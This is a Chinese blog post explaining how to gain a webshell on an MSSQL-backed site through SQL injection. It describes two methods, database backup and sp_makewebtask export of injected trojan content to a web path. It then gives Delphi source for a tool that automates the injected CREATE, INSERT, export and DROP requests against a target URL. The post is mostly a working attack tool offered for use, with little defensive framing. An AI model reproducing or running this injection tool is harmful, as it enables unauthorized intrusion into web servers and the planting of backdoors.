现在的位置: 首页 > IT运维 > 正文

通过SQL注入得到WEBSHELL的N种方法

2011年05月29日 IT运维 ⁄ 共 5522字 评论数 1 ⁄ 被围观 763+

本文主要介绍通过SQL注入的方法得到WebShell的N种方法,以MSSQL作为假想目标,其他数据库操作类似或变通实现。重要的在于思路!

一.通过SQL注入得到WEBSHELL的原理:

方法1:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。这个方法是横行各种版本数据库的,并且流行至少10几年,属于基本方法之一。

分析: 利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%>之内的语句呢?如果数据库中有的表中有<%%>标识符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。

方法2:前面的和方法1基本上差不多。只是后面用到了扩展存储过程--sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题再加入进去,导出来自然就没有问题了。

利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。详情请阅下文。

二.利用DELPHI去实现功能的前提

原理分析过后,我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。

三.如何利用DELPHI得到WEBSHELL。

程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。

首先,我们放置EDIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:

现在来写程序了。

我们首先定义一个RECORD,如下:

Type
SetOption = Record
TableName : String; //用来保存要创建的表名.
FieldName : String; //用来保存要创建的字段名.
FiledType : String; //用来保存创建的字段名类型.
End;

FiledType字段类型的值是以下类型的一种:

Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.

再定义一个全局变量:

Var
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
<p>好了。在表单创建的过程中,我们为RECORD记录输入默认值.</p>
<p>代码如下:</p>
[php]procedure TMainForm.FormCreate(Sender: TObject);
begin
sOption.TableName :=\'cyfd\'
sOption.FieldName :=\'gmemo\'
sOption.FiledType :=\'text\'
end;

现在我们添加开始执行命令的代码。

先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.

创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.

在程序开始执行前,我们得先检查一下用户的输入

定义一个Checkinput函数,如下:

Function CheckInput : Boolean;
Begin
Result := False;
if Trim(urlet.Text) = \'\' then
Begin
Application.MessageBox(\'请输入URL地址!\',\'提示\',mb_ok+mb_iconinformation);
Exit;
End;
if Trim(ShellPathET.Text) = \'\' then
Begin
Application.MessageBox(\'请输入文件保存地址!\',\'提示\',mb_ok+mb_iconinformation);
Exit;
End;
IF DefBDoor.Checked then
Begin
if Not FileExists(extractfilepath(Application.ExeName)+\'默认木马.txt\') then
Begin
Application.MessageBox(\'没有找到 [默认木马.txt] 文件!\',\'提示\',mb_ok+mb_iconinformation);
Exit;
End;
End
Else
if Not FileExists(CustomBdoorET.Text) then
Begin
Application.MessageBox(\'没有找到所选的木马文件!\',\'提示\',mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;

在最开始加入:

IF Not CheckInput then Exit; //如果输入不合法就退出过程.

好了,如果用户输入没什么错,就继续下面的代码。

首先我们把IsStop设为假。创建BdoorList。

BDoorList := TstringList.Create;

再加木马内容到BDoorlist.

BDoorList.LoadFromFile(CustomBdoorET.text);

好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。

代码如下:

BDoorList.Text:=StringReplace(BDoorList.Text,\'%\',\'%25\',[rfReplaceAll]);
BDoorList.Text:=StringReplace(BDoorList.Text,\' \',\'%20\',[rfReplaceAll]);

接下来.我们就提交建表的功能了.

Memo.Lines.Add(\'建表...\');
Memo.Lines.Add(\'\'); NMHttp.Get(Url+\'CREATE%20TABLE%20[dbo].[\'+sOption.TableName+\']%20([\'+sOption.FieldName+\']%20[\'+sOption.FiledType+\']);\');

这样我们就创建了一个表。然后.我们向表中加记录:

代码如下:

Memo.Lines.Add(\'加数据...\');
Memo.Lines.Add(\'\');
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
Begin
IF IsStop then //这里如果点了停止按纽程序将终止任务.
Begin
BDoorList.Free;
Exit;
End; NMhttp.Get(Url+\'Insert%20into%20\'+sOption.TableName+\'%20(\'+sOption.FieldName+\')%20values%20(\'\'\'+BDoorList.Strings+\'\'\');\');
Memo.Lines.Add(\'Add Line \'+Inttostr(i+1));
End;

现在就是导出数据生成木马了.

Memo.Lines.Add(\'导出数据...\');
Memo.Lines.Add(\'\');
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
NMhttp.Get(Url+\'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk=\'\'\'+ShellPath+\'\'\'\')
Else //如果是用WEB作业的形式. NMhttp.Get(Url+\'EXECUTE%20sp_makewebtask%20@outputfile=\'\'\'+ShellPath+\'\'\',@query=\'\'\'+\'select%20\'+sOption.FieldName+\'%20from%20\'+sOption.TableName+\'\'\'\');
我们再删除刚建的表。NMHttp.Get(Url+\'drop%20TABLE%20[dbo].[\'+sOption.TableName+\'];\');

这样我们的任务就完成了。下面来释放变量.

BDoorList.Free;

再来向停止按纽中添加点击事件:一行代码就行了:IsStop := True;

到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。

设置表单中先引用主表单.然后在界面中添加两个EDIT控件:

第一个名称为:TableNameET //保用户输入的存临时表
第二个名称为:FieldNameET //用来保存用户输入的字段名.
再添加一个Combobox //用来保存用户所选的字段类型值.
名称:FieldTypeCombox

代码如下:

定义一个过程,主表单好调用这个设置。

Procedure ShowSet;
Begin
Application.CreateForm(TSetForm,SetForm);
With SetForm do
Begin
TableNameET.Text := sOption.TableName;
FieldNameET.Text := sOption.FieldName;
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
End;
SetForm.ShowModal;
SetForm.Free;
End;

在主表单中设置的点击事件中添加上showset过程就行了。

下面就是点击确定的代码了。

IF CheckInput then
Begin
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
sOption.FieldName := Trim(FieldNameET.Text);
sOption.FiledType := FieldTypeCombox.Text;
Close;
End;

这里又有一个CheckInput主要就是检查用户输入的值是不是合法。代码如下:

Function CheckInput : Boolean;
Begin
Result := False;
IF Trim(TableNameET.Text)=\'\' then
Begin
Application.MessageBox(\'请输入临时表名!\',\'提示\',mb_ok+mb_iconinformation);
Exit;
End;
IF Trim(FieldNameET.Text)=\'\' then
Begin
Application.MessageBox(\'请输入字段名!\',\'提示\',mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;

到这里程序就完了。

目前有 1 条留言 其中:访客:1 条, 博主:0 条

  1. Jack Molligan Bartaserlo : 2012年02月12日16:11:42  -49楼

    com FRiCKLE ngx_cache_purge ,

给我留言

您必须 [ 登录 ] 才能发表留言!

×
#